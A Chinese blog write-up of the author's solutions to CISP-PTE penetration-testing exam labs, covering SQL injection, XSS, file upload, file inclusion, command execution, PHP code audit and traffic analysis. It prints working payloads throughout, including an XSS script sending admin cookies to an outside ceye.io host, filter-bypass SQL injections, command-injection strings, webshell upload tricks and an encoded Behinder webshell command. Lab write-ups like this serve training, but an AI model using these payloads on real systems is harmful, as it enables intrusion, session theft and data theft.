CISP-PTE
博主最近考过了cisp-pte 分享一下自己的做题过程 希望对大家有帮助0.0
SQL注入
1

观察登录框 我试了下万能密码 就可以拿到key了
1’oorr’1’='1
测试中发现or被过滤了 我们使用双写绕过

2

观察闭合条件为‘
在尝试闭合时 发现过滤了 – # 等注释符
我们用;%00 去截断字符

此时就可以用联合注入去查询了
http://211.103.180.146:10684/start/index.php?uuid=1' order by 6;%00
当进行到7时发现 页面报错
所以存在6列

http://211.103.180.146:10684/start/index.php?uuid=1’ union select 1,2,3,4,5,6;%00
找回显点 在 2 3

找到库 爆表 爆列 爆内容
http://211.103.180.146:10684/start/index.php?uuid=1' union select 1,database(),3,4,5,6;%00
http://211.103.180.146:10684/start/index.php?uuid=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='wasjcms'),3,4,5,6;%00
http://211.103.180.146:10684/start/index.php?uuid=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),3,4,5,6;%00
http://211.103.180.146:10684/start/index.php?uuid=-1' union select 1,(select group_concat(flag) from flag),3,4,5,6;%00



3

密码是 123456

我们找一下存在注入点的地方

orderby 查列 查到 15 时页面正常


找到回显点
题目给了 key在根目录下 所以
http://211.103.180.146:12827/?m=patient&o=edit&pid=-1’ union select 1,2,3,4,5,6,7,8,9,10,load_file(‘/var/www/html/key.flag’),12,13,14,15 --+

4

我们找可以注入的地方


根据报错信息我们可以发现是数字型注入
构造payload
http://211.103.180.146:14653/show.php?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15;%00

可以看到回显点在 3 11
使用报错注入
http://211.103.180.146:14653/show.php?id=-33 and updatexml(1,concat(0x7e,(select (table_name) from information_schema.columns where table_schema=‘cms’ limit 27,1 )),1) ;%00

http://211.103.180.146:14653/show.php?id=-33 and updatexml(1,concat(0x7e,( select group_concat(flag) from cms_flag),0x7e),1) ;%00

这样就找到key了
5

进去发现注释符被过滤了
我们依旧使用;%00去截断
空格也被过滤了 我们使用 %0b去代替空格

发现有4列
http://211.103.180.146:12941/sqli2.php?id=1’)%0border%0bby%0b4;%00

查回显位 发现 2 3 4 都可以 union被过滤了 我们双写绕过
http://211.103.180.146:12941/sqli2.php?id=-1’)%0bununionion%0bselect%0b1,2,3,4;%00

题目告诉我们key在tmp目录下 我们用load_file(‘/tmp/key,flag’)
http://211.103.180.146:12941/sqli2.php?id=-1’)%0bununionion%0bselect%0b1,2,load_file(‘/tmp/key.flag’),4;%00
6
我们用万能密码登录
1’ or ‘1’='1


观察这个文章 发现有五个值 标题 内容 作者 隐藏字段 时间

我们插入一些发现报错
推测使用的语句是insert into
根据之前的信息 推测语句 应该是
insert into (标题,内容,作者,隐藏字段,时间) values (‘1’,‘2’,‘3’,‘4’,‘NOW()’)
这样的话 我们在插入内容时 我们需要将后面给闭合掉 此时的语句为
insert into (标题,内容,作者,隐藏字段,时间) values (‘1’,‘内容’,‘作者’,‘隐藏’,NOW())#',‘3’,‘4’,‘NOW()’)

我们可以从内容做文章了
构造payload
2’,(select database()),‘隐藏’,NOW())#

2’,(select group_concat(table_name) from information_schema.tables where table_schema=‘php_test’),‘隐藏’,NOW())#

2’,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),‘隐藏’,NOW())#

2’,(select group_concat(password) from users),‘隐藏’,NOW())#

这样flag值就出来了
7

题目说了是二次注入
这样子好办了
我们注册一个admin’#
当我们修改密码的时候 修改的是admin的密码
此时的语句为
update password=1111 where username=admin’#

我们注册时发现不让用admin’# 我们在后面再加一个注释符试试
admin’#–


我们修改密码 此时修改的是 admin的密码

使用admin和刚刚更改的密码 拿到flag
8

比较简单 我们使用万能密码去登录就可以了
1’ or ‘1’='1

我们在用户名处登录也可以

9

admin admin进去发现了ua头信息
我们使用bp抓包 修改ua头

发现不对 结构应该是这样的 (‘ua’,‘ip’,‘admin’)
这样我们修改ua的时候需要闭合
(‘ua’,‘2’,‘3’)#’)
这样就闭合掉了
Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0’,updatexml(1,concat(0x7e,(select database()),0x7e),1),2)#

Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0’,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘mylabs’ )),1),2)#

Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0’,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘flagage’ )),1),2)#

Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0’,updatexml(1,concat(0x7e,(select group_concat(flagnisp) from flagage )),1),2)#

10

这关是盲注 我们使用 sqlmap来测试吧
python sqlmap.py -u "http://211.103.180.146:17465/?id=1’ --dbs


11

我们用admin登录试试

用\去查一下语句的结构


我们输入“)去闭合前面的”(
再用#将后面给注释掉
admin")#


接着判断有两列
此时就可以查数据了
-admin") union select 1,database()#

-admin") union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘mylabs’#

-admin") union select 1,group_concat(column_name) from information_schema.columns where table_name=‘flagage’#

-admin") union select 1,group_concat(flagnisp) from flagage#

XSS
1

一个留言板网站 没有做任何过滤
我们需要把管理员的cookie给外带出去
<script>
var img = document.createElement("img");img.src="http://mat781.ceye.io/log?"+escape(document.cookie);document.body.appendChild(img);
</script>
这段代码的意思是 创建一个空的img
img 的地址是我们的服务器
然后让这个网站带着cookie值去访问我们的服务器
将创建好的img元素添加到页面元素body中
添加到 body中 网页就会自动访问我们img的地址 发送一个http get请求

找到session值 然后刷新页面 抓包 把网页的cookie更改为这个

2
也是dns外带
<script type="text/javascript">
var arr=document.cookie.split(/[;=]/);
var url ="http://"+arr[1]+".mat781.ceye.io/x.png";
document.write('<img src="'+url+'"/>');
</script>
不知为何带出去的子域名不是flag值 百思不得其解
暴力破解
1

我们抓包 发到爆破器中

在密码处设置好payload

选择网页提供的txt开始爆破

2
代码审计
1

代码的意思是 向a传递参数 a会变成小写 然后被 eval这个函数执行
我们可以闭合掉strtolower里面的双引号和括号 使得这段代码执行我们的 命令
http://211.103.180.146:19048/index.php?a="); system("cat flag.cisp123

2

这段代码的意思是向1 传参
然后判断我们传入的字符大小是否小于30
小于就执行exec 大于就输出toomore

我们试了试ls 发现显示位应该是做了限制 我们可以将ls到的内容写到1.txt 中
然后去访问1.txt

访问flag.nisp获得key
3

这段代码的意思是 我们向str传参
然后str经过unserialize这个函数进行反序列化
反序列化之后要像CISP一样
输出flag
http://211.103.180.146:13533/vul/index.php?str=s:4:“CISP”;

4

我们一个一个来看
初始了变量 v1 和v2 且都为0 并且在最后显示只有 v1和v2均为1 的时候才会输出key
$a定义了一个数组

第一个if 中 定义了bar1
这段代码的意思是
如果bar1 传递的参数 是 数字(numeric)则 die 否则就进行到下一步
bar1传递的值如果大于2020 则 v1=1 否则返回空
所以我们的bar1不能为数字 并且值要大于2020
在php中 2021a会忽略后面的a
从而使我们的值为2021

第二个if != 不等于
count意思是数组的长度 必须等于5 且 数组中第一个元素必须是数组
否则就die
我们构造一个数组
bar2:{[1],2,3,4,5} 这样就满足了

这段代码的意思是在bar3中寻找每个元素 查询是否有cisp-pte
没有的话就die
而且查询bar2中是否有cisp-pte 有的话 die
满足条件 v2=1
所以我们的bar2中不能存在cisp-pte
而bar3中必须存在cisp-pte
整合一下我们的payload
bar1:2021a
bar2:{[0],2,3,4,5}
bar3:{cisp-pte,2}
传递给w
w={“bar1”:“2021a”,“bar2”:“[[1],2,3,4,5]”,“bar3”:“[cisp-pte,2]”}

5

这段代码的意思是 从password中找字段pass[0] 且 pass[0]中不能等于 qnkcdzo 而且PHP的松散比较(<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">==</font>)在比较字符串时,如果双方以<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">0e</font>开头且后跟纯数字,会将其视为科学计数法(即<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">0e123</font>= 0 × 10¹²³ = 0),导致<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">0 == 0</font>为<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">true</font>
字符串<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">"QNKCDZO"</font>的MD5哈希为<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">0e830400451993494058024219903391</font>
因此,只需找到另一个字符串,其MD5哈希也以<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">0e</font>开头且后跟纯数字,即可使<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">md5($pass[0]) == md5("QNKCDZO")</font>成立,即使原始字符串不同
比如 240610708
http://211.103.180.146:15302/?password=pass[0]=240610708

6

http://211.103.180.146:14861/?cx[]=ad

提示了数组魔法
代码的意思是 传入的参数不能有 数字 并且 经过intval不为0
当使用 <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">?cx[]=1</font>作为参数时:
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$gp</font>变量将成为一个数组,例如<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">array(0 => 1)</font>。- 第一关检查:
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">preg_match("/[0-9]/", array(0 => 1))</font>会返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">false</font>,并且因为条件判断为假,所以程序会进入<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">else</font>代码块。 - 第二关检查:
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">intval(array(0 => 1))</font>会返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">1</font>。<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">if(1)</font>条件为真,从而成功执行读取<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">flag.txt</font>文件的代码。
7


<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">intval("18938a")</font>返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">18938</font>→<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">18938 == 0</font>为假。<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">is_numeric("18938a")</font>返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">false</font>(非纯数字)。<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">"18938a" > 18937</font>转换为<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">18938 > 18937</font>为真。

- Payload:
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">?cx[]=1</font>(或任何非空数组,如<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">?cx[]=a</font>) - 原理:
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">intval($gp)</font>:数组返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">1</font>(不等于<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">0</font>),第一层条件为假。<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">is_numeric($gp)</font>:数组返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">false</font>,通过第二层检查。<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$gp > 18937</font>:数组大于任何数字,返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">true</font>,触发flag读取
- Payload:
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">?cx=18938a</font>(数字部分必须大于18937,后缀可为任意非数字字符,如<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">18938abc</font>) - 原理:
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">intval($gp)</font>:返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">18938</font>(不等于<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">0</font>),第一层条件为假。<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">is_numeric($gp)</font>:混合字符串返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">false</font>,通过第二层检查<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$gp > 18937</font>:字符串转换为<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">18938</font>,大于18937,返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">true</font>。
8

<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">if(intval(" .$gp.")<1001 && intval($gp +1)>10000)</font>- 关键点:代码中
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">intval(" .$gp.")</font>是一个字符串拼接错误。实际执行时,PHP会将<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">" .$gp."</font>解析为一个字符串(例如,如果<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$gp="10000"</font>,则字符串为<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">".10000."</font>)。由于该字符串以点(<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">.</font>)开头,非数字字符,<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">intval()</font>会返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">0</font>,因此第一个条件(<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);"><1001</font>)恒成立。 - 第二个条件
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">intval($gp +1)>10000</font>要求<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$gp + 1</font>的整数值大于10000,即<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$gp</font>需大于9999。 - 我们输入大于9999的数字就可以获得key了

9

源码分析:代码使用<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">strcmp($pass, $password)</font>来比较用户输入的<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$pass</font>(来自GET参数<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">password</font>)与预设密码<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$password</font>。如果比较结果为0(即相等)且<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$pass</font>非空,则显示flag。
我们使得密码与给的*相等就可以了

10

源码中包含两个类:<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">User</font>和<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">Admin</font>。
- User类:
- 属性:
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$username</font>(用户名)、<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$isAdmin</font>(是否是管理员)、<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$admin</font>(用于存储Admin对象)。 - 方法:
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">__toString()</font>:当User对象被当作字符串输出时,会检查<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$admin</font>属性是否是Admin类的实例。如果是,则调用<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">getFlag()</font>方法获取flag;否则返回用户信息字符串。
- 属性:
- Admin类:
- 属性:
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$secret</font>(私有属性,用于存储flag)。 - 方法:
<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">__construct()</font>和<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">__wakeup()</font>:都会从<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">/flag.txt</font>文件中读取内容并赋值给<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$secret</font>。<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">__wakeup()</font>在反序列化时自动调用。<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">getFlag()</font>:返回<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">$secret</font>的值,即flag内容。
- 属性:
O:4:“User”:3:{s:8:“username”;s:0:“”;s:7:“isAdmin”;b:0;s:5:“admin”;O:5:“Admin”:0:{}}
文件上传
1

我们将下载好的免杀马 生成一个图片马 然后上传这个图片马 抓包

因为是黑名单 所以我们试着绕过他
php3 php5 Php 等等

修改完成之后 我们找到 图片马的地址 用蚁剑去链接


找到flag
2
白名单绕过 我们修改上传地址 让他上传到wen.php中


3
和前面一样 上传我们的一句话木马 然后在bp中改包

修改为10.Php

目录扫描用御剑
4

文件头检测

里面的不能出现php代码 我们可以使用 script语言绕过

php后缀是黑名单
我们用phtml绕过

5
和前面几关一样 上传我们的图片马
绕过黑名单 pht


6

过滤了这么多 但是没有过滤.htaccess
我们将上传的图片马改为.htaccess 不要加任何东西

7

上传图片马
题目提示了我们需要用文件包含去解
找到上传文件的地址
所以我们用include.php?file=upload


这样我们的图片马就被执行了

移动到 根目录下
找到flag.php
8
和上一关一样 找到上传的地址
然后文件包含 蚁剑链接


找到flag
9
ActiveMq PUT任意文件上传漏洞(CVE-2016-3088)漏洞复现、
该漏洞出现在fileserver应用中,ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问
登录admin账号:默认账号admin/admin,抓包进行修改,使用PUT方法上传文件。ActiveMQ Web控制台分为三个应用程序:其中admin,api和fileserver,其中admin是管理员页面,api是界面,fileserver是用于存储文件的界面;admin和api需要先登录才能使用,fileserver不需要登录。


然后使用哥斯拉连接



文件包含
1

page有文件包含漏洞

2

先访问这个文件 查看源代码

我们base64解密一下啊

所以我们要post 给hello和z0传参
z0 写我们的payload
Hello=123&z0=system(‘cat /flag.php’)
后面的base64编码一下
c3lzdGVtKCdjYXQgL2ZsYWcucGhwJyk7Hello=123&z0=c3lzdGVtKCdjYXQgL2ZsYWcucGhwJyk7

查看源代码 找到flag
3

使用data伪协议 写入数据
data:// 这里面被过滤 我们能双写绕过
4
php://filter/read=convert.base64-encode/resource=…/key.flag
能文件包含 单页面不显示 我们使用php伪协议去读取文件


5

找到了文件包含地址
我们使用data协议去写入一个一句话木马

对后面的一句话木马进行base64编码
用蚁剑链接

6

和第一关一样 在根目录下
7


提示了会在文件后面自动加上php
8
X-Forwarded-For
添加头文件

做了个xff验证 我们抓包在请求体当中添加xff:127.0.0.1
9

御剑扫出
蚁剑连接

10
使用php伪协议 读取文件

http://211.103.180.146:19128/?cx=php://filter/read=convert.base64-encode/resource=/flag.php
11

用post方式提交

cx做一下base64编码绕过
12
url二次编码


进行两次url编码 才可以绕过
命令执行
1

pwn找到所在位置
题目告诉我们key在根目录下
ls …/

使用tac …/key.flag
试了一下 cat sed 都被过滤了

2

对cat进行了过滤 和上关一样 改为ca’'t
也可以ta’'c
sed ’ ’ /key.flag
3

我们先用ipconfig观察一下是否为windows系统
结果是Linux
试了一下 把php 过滤 我们用*代替 让他找含有ph的三字文件
cat也被过滤

使用注释的方法依旧可行
4
隐藏的还挺深
我们先查看当前目录下的内容

他做了文件名后缀 的检测 和 cat的过滤 我们绕过一下

检查网页源代码
找到了真正的flag在哪里

我们故技重施

5

过滤了 | &&
我们用分号绕过
还过滤了空格 空格用<重定向
6
这段代码的意思是 过滤了system等系统命令执行函数 而且白名单里面得有echo print 俩函数中的任意一种
所以我们向cmd中传递参数
?cmd=echo(<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">tac flag.php</font>);
反引号去让他执行echo函数中的代码
找到了flag.txt的地址

拿到flag
7

观察代码 提示了base64编码
我们可以这样写
$a=base64_decode(‘c3lzdGVt’) system
$b=base64_decode(‘dGFjIGZsYWcucGhw’) tac flag.php
a(a(a(b) system()
$a=base64_decode('c3lzdGVt')
$b=base64_decode('dGFjIGZsYWcucGhw')
$a($b)
找到了文件的地址
进行base64编码
8

和前面一样 要求cmd里面有flag
我们这样写
$a=‘sys’;
$b=‘tem’;
c=c=c=a.$b;
$c(‘tac flag.php’);

9

我们可以用*匹配检测
a=′sys′;a='sys';a=′sys′;b=‘tem’;c=c=c=a.b;b;b;c(‘tac fla*.ph?’);

10

echo <font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">tac fla*</font> ?>
让他结束当前语句

11
我们先闭合掉前面的(” 输入我们的payload
"); system(“cat key4.php”); //
//为注释掉后面的
业务逻辑漏洞
1
抓包提示说了 cilent ip 为1.2.3.4才可以
我们更改一下就能看到flag了
2
xff绕过
X-Forwarded-For:2.2.2.1
3
抓包更改请求方式



在删除时 我们仍需要将ip信息加上
4
也是伪造xff头
并且uesrname需要base64编码

三者缺一不可
日志审计
1

我们需要匹配请求方式 GET 以及我们不要无用的请求路径 我们需要匹配文件后缀名为.php .jsp .asp 等文件
以及最后的状态码200 正则表达式为
^.* "[A-Z]+ /(?!/?(index|manage|footer|upload)).*\.(php|jsp|asp).*" 200

查出有个backdoor.php 我们访问他就可以拿到key

2

附件是一个wireshark的日志
我们搜索http 查看http流
以及

找到了冰蝎的流量特征
一个流一个流看

把这个请求体放到冰蝎里面解密
assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCg0KZnVuY3Rpb24gZ2V0U2FmZVN0cigkc3RyKXsNCiAgICAkczEgPSBpY29udigndXRmLTgnLCdnYmsvL0lHTk9SRScsJHN0cik7DQogICAgJHMwID0gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzMSk7DQogICAgaWYoJHMwID09ICRzdHIpew0KICAgICAgICByZXR1cm4gJHMwOw0KICAgIH1lbHNlew0KICAgICAgICByZXR1cm4gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzdHIpOw0KICAgIH0NCn0NCmZ1bmN0aW9uIG1haW4oJGNtZCwkcGF0aCkNCnsNCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICAgQGlnbm9yZV91c2VyX2Fib3J0KDEpOw0KICAgIEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsNCiAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAkUGFkdEpuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQogICAgaWYgKCEgZW1wdHkoJFBhZHRKbikpIHsNCiAgICAgICAgJFBhZHRKbiA9IHByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBleHBsb2RlKCcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBhcnJheV9tYXAoJ3RyaW0nLCAkUGFkdEpuKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkUGFkdEpuID0gYXJyYXkoKTsNCiAgICB9DQogICAgJGMgPSAkY21kOw0KICAgIGlmIChGQUxTRSAhPT0gc3RycG9zKHN0cnRvbG93ZXIoUEhQX09TKSwgJ3dpbicpKSB7DQogICAgICAgICRjID0gJGMgLiAiIDI+JjFcbiI7DQogICAgfQ0KICAgICRKdWVRREJIID0gJ2lzX2NhbGxhYmxlJzsNCiAgICAkQnZjZSA9ICdpbl9hcnJheSc7DQogICAgaWYgKCRKdWVRREJIKCdzeXN0ZW0nKSBhbmQgISAkQnZjZSgnc3lzdGVtJywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgc3lzdGVtKCRjKTsNCiAgICAgICAgJGtXSlcgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICAgb2JfZW5kX2NsZWFuKCk7DQogICAgfSBlbHNlIGlmICgkSnVlUURCSCgncHJvY19vcGVuJykgYW5kICEgJEJ2Y2UoJ3Byb2Nfb3BlbicsICRQYWR0Sm4pKSB7DQogICAgICAgICRoYW5kbGUgPSBwcm9jX29wZW4oJGMsIGFycmF5KA0KICAgICAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAgICAgJ3BpcGUnLA0KICAgICAgICAgICAgICAgICdyJw0KICAgICAgICAgICAgKSwNCiAgICAgICAgICAgIGFycmF5KA0KICAgICAgICAgICAgICAgICdwaXBlJywNCiAgICAgICAgICAgICAgICAndycNCiAgICAgICAgICAgICksDQogICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAncGlwZScsDQogICAgICAgICAgICAgICAgJ3cnDQogICAgICAgICAgICApDQogICAgICAgICksICRwaXBlcyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgd2hpbGUgKCEgZmVvZigkcGlwZXNbMV0pKSB7DQogICAgICAgICAgICAka1dKVyAuPSBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KICAgICAgICB9DQogICAgICAgIEBwcm9jX2Nsb3NlKCRoYW5kbGUpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ3Bhc3N0aHJ1JykgYW5kICEgJEJ2Y2UoJ3Bhc3N0aHJ1JywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgcGFzc3RocnUoJGMpOw0KICAgICAgICAka1dKVyA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAgICBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdzaGVsbF9leGVjJykgYW5kICEgJEJ2Y2UoJ3NoZWxsX2V4ZWMnLCAkUGFkdEpuKSkgew0KICAgICAgICAka1dKVyA9IHNoZWxsX2V4ZWMoJGMpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ2V4ZWMnKSBhbmQgISAkQnZjZSgnZXhlYycsICRQYWR0Sm4pKSB7DQogICAgICAgICRrV0pXID0gYXJyYXkoKTsNCiAgICAgICAgZXhlYygkYywgJGtXSlcpOw0KICAgICAgICAka1dKVyA9IGpvaW4oY2hyKDEwKSwgJGtXSlcpIC4gY2hyKDEwKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdleGVjJykgYW5kICEgJEJ2Y2UoJ3BvcGVuJywgJFBhZHRKbikpIHsNCiAgICAgICAgJGZwID0gcG9wZW4oJGMsICdyJyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRmcCkpIHsNCiAgICAgICAgICAgIHdoaWxlICghIGZlb2YoJGZwKSkgew0KICAgICAgICAgICAgICAgICRrV0pXIC49IGZyZWFkKCRmcCwgMTAyNCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgQHBjbG9zZSgkZnApOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRrV0pXID0gMDsNCiAgICAgICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJmYWlsIik7DQogICAgICAgICRyZXN1bHRbIm1zZyJdID0gYmFzZTY0X2VuY29kZSgibm9uZSBvZiBwcm9jX29wZW4vcGFzc3RocnUvc2hlbGxfZXhlYy9leGVjL2V4ZWMgaXMgYXZhaWxhYmxlIik7DQogICAgICAgICRrZXkgPSAkX1NFU1NJT05bJ2snXTsNCiAgICAgICAgZWNobyBlbmNyeXB0KGpzb25fZW5jb2RlKCRyZXN1bHQpKTsNCiAgICAgICAgcmV0dXJuOw0KICAgICAgICANCiAgICB9DQogICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKGdldFNhZmVTdHIoJGtXSlcpKTsNCiAgICBlY2hvIGVuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCkpOw0KfQ0KDQoKZnVuY3Rpb24gRW5jcnlwdCgkZGF0YSkKewogICAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IAoJZm9yKCRpPTA7JGk8c3RybGVuKCRkYXRhKTskaSsrKSB7CiAgICAJJGRhdGFbJGldID0gJGRhdGFbJGldXiRrZXlbJGkrMSYxNV07IAogICAgfQogICAgJGJzPSJiYXNlNjRfIi4iZW5jb2RlIjsKCSRhZnRlcj0kYnMoJGRhdGEuIiIpOwogICAgcmV0dXJuICRhZnRlcjsKfQokY21kPSJZMlFnTDJRZ0lrTTZYSEJvY0hOMGRXUjVYM0J5YjF4WFYxZGNkWEJzYjJGa1hIVndiRzloWkZ3aUptNWxkQ0IxYzJWeSI7JGNtZD1iYXNlNjRfZGVjb2RlKCRjbWQpOyRwYXRoPSJRem92Y0dod2MzUjFaSGxmY0hKdkwxZFhWeTkxY0d4dllXUXZkWEJzYjJGa0x3PT0iOyRwYXRoPWJhc2U2NF9kZWNvZGUoJHBhdGgpOw0KbWFpbigkY21kLCRwYXRoKTs='));

这个好像不是 我们慢慢找
找到第五个流的时候 解密了一下 返回体
{"status":"c3VjY2Vzcw==","msg":"ZmxhZ3tmbGFnX25pc3BfbWRwd2FofQ=="}
我们解密后面的msg信息

找到了flag
冰蝎的解密

使用的是base64
3

我们继续追踪流 观察流量特征 发现这是蚁剑的流量特征
%40eval(%40base64_decode(%24_POST%5B'100f9ba8438411'%5D))
URL解码后为:@eval(@base64_decode($_POST['100f9ba8438411']))
蚁剑的加密方法有 rot13 和base64

看这个值 像不像flag
我们对他进行 rot13解密

4
太麻烦了自己解 问了问chatgpt

5

我们抓一下ftp的包
找到ftp-data
看看传了什么文件

一个secret 一个readme
我们先追踪 secret

